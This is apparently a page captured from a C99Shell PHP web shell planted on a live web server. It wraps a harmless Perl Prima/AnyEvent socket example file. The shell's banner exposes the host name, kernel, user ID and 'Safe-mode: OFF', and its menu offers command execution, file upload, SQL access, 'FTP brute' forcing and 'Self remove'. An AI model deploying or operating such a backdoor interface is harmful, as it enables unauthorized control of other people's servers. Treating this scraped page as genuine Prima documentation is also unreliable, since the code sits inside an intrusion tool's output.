!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib64/perl5/vendor_perl/Prima/examples/   drwxr-xr-x
Free 6181.93 GB of 6263.13 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     socket_anyevent.pl (2.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
=pod

=head1 NAME

examples/socket_anyevent.pl - AnyEvent version of examples/socket.pl with automatic selection of Event library

=head1 AUTHOR

Vikas N Kumar

=cut

use strict;
use warnings;
use Prima qw(InputLine Edit Application);
use AnyEvent;
use AnyEvent::Socket;

my $loop = AnyEvent->condvar;
my $impl = AnyEvent::detect;
print "AnyEvent implementation is $impl\n";

my $w = Prima::MainWindow-> create(
    size      => [ $::application-> width * 0.6, $::application-> height * 0.6],
    text      => 'AnyEvent demo',
    onDestroy => sub {
        # when the window is closed we want AnyEvent to also exit
        $loop->send;
    },
);

my $e = $w-> insert( Edit =>
    pack     => { side => 'top', expand => 1, fill => 'both'},
    text     => '',
    wordWrap => 1,
);

my $il = $w-> insert( InputLine =>
    text      => 'Enter URL:',
    current   => 1,
    pack      => { side => 'bottom', fill => 'x'},
    onKeyDown => sub {
        my ( $me, $code, $key, $mod) = @_;
        return unless $key == kb::Enter;
        $me-> clear_event;
        my $t = $me-> text;

        return $e-> text( "Invalid URL") unless $t =~ m/^(?:http:\/\/)?([^\/]*)((?:\/.*$)|$)/;
        my ($remote, $uri, $port) = ($1,$2,80);
        $uri = '/' unless length $uri;

        $e-> text("");

        tcp_connect $remote, $port, sub {
            my ($fh, $host, $port) = @_;

            return $e-> text("error:$!") unless $fh;

            # make a GET request on the socket
            syswrite $fh, "GET $uri HTTP/1.1 \r\n\r\n";
            shutdown $fh, 1;

            # create an event watcher on the socket $fh for reading
            my $ev;
            $ev = AnyEvent->io(fh => $fh, poll => 'r', cb => sub {
                my $response = '';
                my $len = sysread $fh, $response, 10240;
                if (not defined $len or $len <= 0) {
                    undef $ev; # remove the watcher
                } else {
                    $e-> text( $e->text . $response );
                }
            });
       };
       0; # keep void context of tcp_connect
    },
);
$il-> select_all;

# replace 'run Prima' with the below timer
my $timer = AnyEvent->timer(after => 0, interval => 1/20, cb => sub {
        $::application->yield;
});
# start the AnyEvent loop
$loop->recv;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.01 ]--